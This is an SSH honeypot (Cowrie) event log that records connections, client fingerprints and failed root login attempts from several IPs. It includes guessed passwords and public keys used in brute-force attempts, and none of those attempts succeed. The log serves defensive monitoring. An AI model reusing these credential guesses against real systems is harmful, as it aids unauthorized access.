{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:41.924875Z","src_ip":"103.27.238.114","session":"da5f71afb1de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:42.198758Z","src_ip":"103.27.238.114","session":"da5f71afb1de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5555","message":"login attempt [root/5555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:43.023648Z","src_ip":"103.27.238.114","session":"da5f71afb1de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:44.300599Z","src_ip":"103.27.238.114","session":"da5f71afb1de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":49620,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3ee8e9a5813","protocol":"ssh","message":"New connection: 37.143.61.84:49620 (10.17.0.5:22) [session: e3ee8e9a5813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:03.694578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:03.723643Z","src_ip":"37.143.61.84","session":"e3ee8e9a5813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:03.828234Z","src_ip":"37.143.61.84","session":"e3ee8e9a5813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa12345","message":"login attempt [root/aa12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:05.328497Z","src_ip":"37.143.61.84","session":"e3ee8e9a5813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:06.499973Z","src_ip":"37.143.61.84","session":"e3ee8e9a5813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":52450,"dst_ip":"159.203.135.109","dst_port":22,"session":"49655273c5a4","protocol":"ssh","message":"New connection: 103.172.78.219:52450 (159.203.135.109:22) [session: 49655273c5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:20.327021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:20.332583Z","src_ip":"103.172.78.219","session":"49655273c5a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:20.597033Z","src_ip":"103.172.78.219","session":"49655273c5a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goldendmarlin272","message":"login attempt [root/goldendmarlin272] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:21.398369Z","src_ip":"103.172.78.219","session":"49655273c5a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:22.665924Z","src_ip":"103.172.78.219","session":"49655273c5a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":42944,"dst_ip":"10.17.0.5","dst_port":22,"session":"3396323bd4c7","protocol":"ssh","message":"New connection: 80.66.85.226:42944 (10.17.0.5:22) [session: 3396323bd4c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:28.985074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:28.993460Z","src_ip":"80.66.85.226","session":"3396323bd4c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:29.083076Z","src_ip":"80.66.85.226","session":"3396323bd4c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rkfdbfnehf","message":"login attempt [root/rkfdbfnehf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:29.352233Z","src_ip":"80.66.85.226","session":"3396323bd4c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:30.449031Z","src_ip":"80.66.85.226","session":"3396323bd4c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":44566,"dst_ip":"10.17.0.5","dst_port":22,"session":"3884f0d31115","protocol":"ssh","message":"New connection: 170.106.115.61:44566 (10.17.0.5:22) [session: 3884f0d31115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:45.076966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:45.081903Z","src_ip":"170.106.115.61","session":"3884f0d31115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:45.153434Z","src_ip":"170.106.115.61","session":"3884f0d31115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"David123","message":"login attempt [root/David123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:45.465505Z","src_ip":"170.106.115.61","session":"3884f0d31115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.119.25.48","src_port":36840,"dst_ip":"10.17.0.5","dst_port":22,"session":"27da2645dc43","protocol":"ssh","message":"New connection: 176.119.25.48:36840 (10.17.0.5:22) [session: 27da2645dc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:46.195919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:46.202487Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:46.330359Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:46.537622Z","src_ip":"170.106.115.61","session":"3884f0d31115","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:d7:fb:aa:55:2b:b5:46:fd:49:cd:5a:27:f8:ea:a1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPEH5zfDa/1whC1TpsuJJCJNR+iTcRIQiX2AacuCEpK0","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bc:d7:fb:aa:55:2b:b5:46:fd:49:cd:5a:27:f8:ea:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:46.921141Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:d7:fb:aa:55:2b:b5:46:fd:49:cd:5a:27:f8:ea:a1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPEH5zfDa/1whC1TpsuJJCJNR+iTcRIQiX2AacuCEpK0","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:46.925080Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:15:f3:5d:f5:ef:65:e2:05:ad:c2:3f:d3:db:d7:fa","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIRYqhf8uZ9LsNJw6punhuYzCphqyiklRZy8l+u33Gh3qj4KsjNVrcNWea6jTs21GVhtGJYf73EwU2/1e3AZP/XXNYvfi9iMCyTg+z3YPdcgn7YSzHF323rJpKcvFbG0DiGPV+ulUy1HXlBH8A1GZn7yrVs+RWUSuXkehtKAXPUnAAAAFQDF/io8ta/FPb4QayXxtCpHIngt7wAAAIBgZsdfUdimRmHSJz5Gs62cgIZIR0Rnsx/nkcOc6FceRm6vq1gEq7n6U921B6fzgPYRfLsAQntJ4XplJEAlu3abWubNodH28iDuYFKFBJx8SvJKOQgJuWJj7gnhcwTw3xgMCec98AxQNMc2asfEJcapbwuVBlnMX8cAwy6nHfLu1gAAAIB1SCcl/KGbGdVtHbUv0A3a44VeTLFalFMZN/snBQdUA9GcTmizAKjGTkboPB6DsI2hpmFL6V41O81YPCwJd2cyMdswegdRp64cte/4e/I6x2VIeqaCottyzYeKeOYYJrqb+82cZjKCT5tnwq7S4puiXuocAQOsCHTSQIhdiC/Fvw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 47:15:f3:5d:f5:ef:65:e2:05:ad:c2:3f:d3:db:d7:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:47.048772Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:15:f3:5d:f5:ef:65:e2:05:ad:c2:3f:d3:db:d7:fa","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIRYqhf8uZ9LsNJw6punhuYzCphqyiklRZy8l+u33Gh3qj4KsjNVrcNWea6jTs21GVhtGJYf73EwU2/1e3AZP/XXNYvfi9iMCyTg+z3YPdcgn7YSzHF323rJpKcvFbG0DiGPV+ulUy1HXlBH8A1GZn7yrVs+RWUSuXkehtKAXPUnAAAAFQDF/io8ta/FPb4QayXxtCpHIngt7wAAAIBgZsdfUdimRmHSJz5Gs62cgIZIR0Rnsx/nkcOc6FceRm6vq1gEq7n6U921B6fzgPYRfLsAQntJ4XplJEAlu3abWubNodH28iDuYFKFBJx8SvJKOQgJuWJj7gnhcwTw3xgMCec98AxQNMc2asfEJcapbwuVBlnMX8cAwy6nHfLu1gAAAIB1SCcl/KGbGdVtHbUv0A3a44VeTLFalFMZN/snBQdUA9GcTmizAKjGTkboPB6DsI2hpmFL6V41O81YPCwJd2cyMdswegdRp64cte/4e/I6x2VIeqaCottyzYeKeOYYJrqb+82cZjKCT5tnwq7S4puiXuocAQOsCHTSQIhdiC/Fvw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:47.053015Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:24:76:c5:fe:7b:94:59:b5:4e:4d:1b:ca:ba:3c:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUZFfQY/5nNkeq5pExiINuItQR5yKtvB54B2v6znvFSRuAmjLQkYwdYPiV48vJxPLzOOmYcUKarK+s/UzS5VfZpJIdskDfSS8Fj2+KdPO9Z1lbeNnJsmuirD88BloDqaa1UNliS/6h83jGdi6E25USucG6jDj7vy/lalhE8GQ675sMB7MBg1+6o8p+ysD5FnYvLd2OoqA4e9SLyYYv5TxJu+MdpCKwm7h7qvjCK4wmECxymyAi3fWf2jLdjZAUAJ1xmdjXOUD4hqYjZ0qUCsuViqZZ3jVF/+Ab7LTHKuNEkVXCkmUfK8k/l9kkeYbP9t78uphtnvVjYs21wLKUqO4t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:24:76:c5:fe:7b:94:59:b5:4e:4d:1b:ca:ba:3c:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:47.174781Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:24:76:c5:fe:7b:94:59:b5:4e:4d:1b:ca:ba:3c:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUZFfQY/5nNkeq5pExiINuItQR5yKtvB54B2v6znvFSRuAmjLQkYwdYPiV48vJxPLzOOmYcUKarK+s/UzS5VfZpJIdskDfSS8Fj2+KdPO9Z1lbeNnJsmuirD88BloDqaa1UNliS/6h83jGdi6E25USucG6jDj7vy/lalhE8GQ675sMB7MBg1+6o8p+ysD5FnYvLd2OoqA4e9SLyYYv5TxJu+MdpCKwm7h7qvjCK4wmECxymyAi3fWf2jLdjZAUAJ1xmdjXOUD4hqYjZ0qUCsuViqZZ3jVF/+Ab7LTHKuNEkVXCkmUfK8k/l9kkeYbP9t78uphtnvVjYs21wLKUqO4t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:47.179396Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:c6:a0:fd:a9:cf:fd:9b:9a:0a:22:76:68:7e:1f:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrkeTVFszeFDPyt+sHutYfdhVNNRbNrA0t3VWW5IajJdMyjq3vPbUwWgog4G/9Se94YICvbSBpE1vjh74kWvSEEPbCtF+Vw+hnyqYe6etp0SkT6zcwjARuFgoV1oHPp6LDHFHptMV3Ffk8RY6iQy4fqldcrvM+BBGVm1fqSICajGmSNdaj5Z44T7EqZa4nVmfemSyvEhKE4HZf2XQHT6DQkgeF3bSPtGMOmnP9xRKqk/W5Xl59F+WUqDibQmXBZPLighcOfVzvfvFERpu2xtZMLDj9OZhOqZPGqP3+YORr2iyPo0vFZ2oVzCjfbXm+23RPxB2/lVJxQC6fNw3BXZNT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:c6:a0:fd:a9:cf:fd:9b:9a:0a:22:76:68:7e:1f:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:47.305385Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:c6:a0:fd:a9:cf:fd:9b:9a:0a:22:76:68:7e:1f:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrkeTVFszeFDPyt+sHutYfdhVNNRbNrA0t3VWW5IajJdMyjq3vPbUwWgog4G/9Se94YICvbSBpE1vjh74kWvSEEPbCtF+Vw+hnyqYe6etp0SkT6zcwjARuFgoV1oHPp6LDHFHptMV3Ffk8RY6iQy4fqldcrvM+BBGVm1fqSICajGmSNdaj5Z44T7EqZa4nVmfemSyvEhKE4HZf2XQHT6DQkgeF3bSPtGMOmnP9xRKqk/W5Xl59F+WUqDibQmXBZPLighcOfVzvfvFERpu2xtZMLDj9OZhOqZPGqP3+YORr2iyPo0vFZ2oVzCjfbXm+23RPxB2/lVJxQC6fNw3BXZNT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:00:47.309208Z","src_ip":"176.119.25.48","session":"27da2645dc43","protocol":"ssh"}
